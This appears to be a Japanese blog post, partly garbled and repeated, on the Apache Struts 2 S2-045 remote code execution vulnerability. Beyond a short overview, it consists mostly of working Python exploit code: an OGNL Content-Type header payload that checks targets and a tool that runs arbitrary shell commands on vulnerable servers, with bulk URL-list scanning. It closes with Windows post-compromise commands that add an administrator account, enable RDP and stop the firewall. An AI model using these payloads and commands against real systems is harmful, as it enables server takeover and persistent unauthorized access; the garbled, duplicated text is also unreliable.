Appache Struts 2曝任意コード実行脆弱性S 2-045
7779 ワード
一、抜け穴概要
Apache Strutsは米国アパッチソフトウェア基金会がメンテナンスを担当するオープンソースプロジェクトであり、企業レベルJava Webアプリケーションを作成するためのオープンソースMVCフレームであり、主に2つのバージョンのフレームワーク製品を提供しています。AppacheStruts 2.3.5–2.3.31バージョンおよび2.5–2.5.10バージョンにはリモートコード実行ホールがあります。この脆弱性はアップロード機能の異常処理関数がユーザ入力のエラー情報を正しく処理していないためです。リモート攻撃者は、悪意のあるパケットを送信することにより、この脆弱性を利用して、影響を受けるサーバ上で任意のコマンドを実行することができる。
二、脆弱性危害
攻撃者は、悪意のある構造のHTTPパケットを送信することにより、この脆弱性を利用して、影響を受けるサーバ上でシステムコマンドを実行し、さらにこのサーバを完全に制御し、サービス拒否、データ漏洩、ウェブサイト作成の改ざんなどの影響を与えることができる。この脆弱性の利用には、前置条件(dmiのオープン、debugなどの機能)が必要でなく、プラグインが有効であるため、脆弱性がより深刻である。
三、大牛のコード
抜け穴
windows命令は本当に重要です。は、ポート を参照してください。添削ユーザ ユーザ権 RDPサービス(3389) ファイアウォールを閉じる(Intemet接続共有とファイアウォールサービス) kaliリモートデスクトップ google大法<.action/>
_。悪いことをしないでください。
Apache Strutsは米国アパッチソフトウェア基金会がメンテナンスを担当するオープンソースプロジェクトであり、企業レベルJava Webアプリケーションを作成するためのオープンソースMVCフレームであり、主に2つのバージョンのフレームワーク製品を提供しています。AppacheStruts 2.3.5–2.3.31バージョンおよび2.5–2.5.10バージョンにはリモートコード実行ホールがあります。この脆弱性はアップロード機能の異常処理関数がユーザ入力のエラー情報を正しく処理していないためです。リモート攻撃者は、悪意のあるパケットを送信することにより、この脆弱性を利用して、影響を受けるサーバ上で任意のコマンドを実行することができる。
二、脆弱性危害
攻撃者は、悪意のある構造のHTTPパケットを送信することにより、この脆弱性を利用して、影響を受けるサーバ上でシステムコマンドを実行し、さらにこのサーバを完全に制御し、サービス拒否、データ漏洩、ウェブサイト作成の改ざんなどの影響を与えることができる。この脆弱性の利用には、前置条件(dmiのオープン、debugなどの機能)が必要でなく、プラグインが有効であるため、脆弱性がより深刻である。
三、大牛のコード
抜け穴
import requests
import sys
def poc(url):
payload = "%{(#test='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()). \ (#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}"
headers = {}
headers["Content-Type"] = payload
r = requests.get(url, headers=headers)
if "105059592" in r.content:
return True
return False
if __name__ == '__main__':
if len(sys.argv) == 1:
print "python s2-045.py target"
sys.exit()
if poc(sys.argv[1]):
print "vulnerable"
else:
print "not vulnerable"
利用します#! /usr/bin/env python3
# -*- coding: utf-8 -*-
# Author:Bingo [Finding a job]
import logging
import requests
import sys
import queue
import os
from optparse import OptionParser
logging.basicConfig(level=logging.INFO)
payloadPrefix="hah-multipart/form-data %{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"
payloadSuffix="').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
def poc(url):
headers ={ "User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36",
"Connection":"close",
"Content-Type":"hah-multipart/form-data %{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmdLinux='echo \\'******[ Linux ]******PocFlagString-3268e6d1cdc1c4b2c9c480907a3f1711-gnirtSgalFcoP\\' && uname -a && whoami').(#cmdWin='echo \\'******[ Windows ]******PocFlagString-3268e6d1cdc1c4b2c9c480907a3f1711-gnirtSgalFcoP\\' && whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmdWin}:{'/bin/bash','-c',#cmdLinux})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
}
result = requests.post(url, headers=headers)
return(result.text)
def exp(url,cmd):
global payloadPrefix
global payloadSuffix
#poc(url)
#print(" - - -"*8)
headers ={ "User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36",
"Connection":"close",
"Content-Type":str(payloadPrefix)+str(cmd)+str(payloadSuffix)
}
result = requests.post(url, headers=headers)
return(result.text)
#
def main():
parser=OptionParser()
parser.add_option("-c", dest="cmd", help="Command string | Default: POC()")
parser.add_option("-u", dest="url", help="Target URL (e.g. \"http://www.site.com/index.action\")")
parser.add_option("-U", dest="urllist", help="[Just POC mode]Target URL List(e.g. \"target_url_list.txt\")")
options, args = parser.parse_args()
print("-"*80)
if options.url and options.urllist:
print("Stupid!!! --> -u OR -U ")
return
elif options.urllist:
# list, 。 、 、 、 。
fr=open(options.urllist,"r")
raw_urls=fr.readlines()
fr.close()
urls = queue.Queue()
for url in raw_urls:
url = url.strip()
urls.put(url)
# , 。
(basename,ext)=os.path.splitext(options.urllist)
fw=open("%s%s%s"%(basename,".ok",ext),"w")
fw.truncate()
id=1
while not urls.empty():
url=urls.get()
print("< %d >\t%s"%(id,url),end="")
try:
result=poc(url)
if result.find("PocFlagString-3268e6d1cdc1c4b2c9c480907a3f1711-gnirtSgalFcoP")>=0:
print("\t?")
print(result.split("\r
\r
")[0])
fw.writelines("- "*30+"
")
fw.writelines(url+"
")
fw.writelines(result.split("\r
\r
")[0]+"
")
else:
print("\t?")
except Exception as e:
print("\t\t\t??????????????????????????")
print(e)
print("- - "*10)
id+=1
fw.close()
else:
if options.url is None:
print("Uage: xxx.py [-u URL | -U urlListFile] [-c CMD]")
return
if options.cmd is None:
#print(poc(options.url))
print(poc(options.url).split("\r
\r
")[0])
else:
print(exp(options.url,options.cmd))
print("-"*80)
return 0
if __name__ == '__main__':
main()
心得にしみるwindows命令は本当に重要です。
netstat -an
net user username password /add(/del)
net localgroup Administrators username
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
net stop(start) sharedaccess
rdesktop -a 32 -u username -p password ip_addr:3389
_。悪いことをしないでください。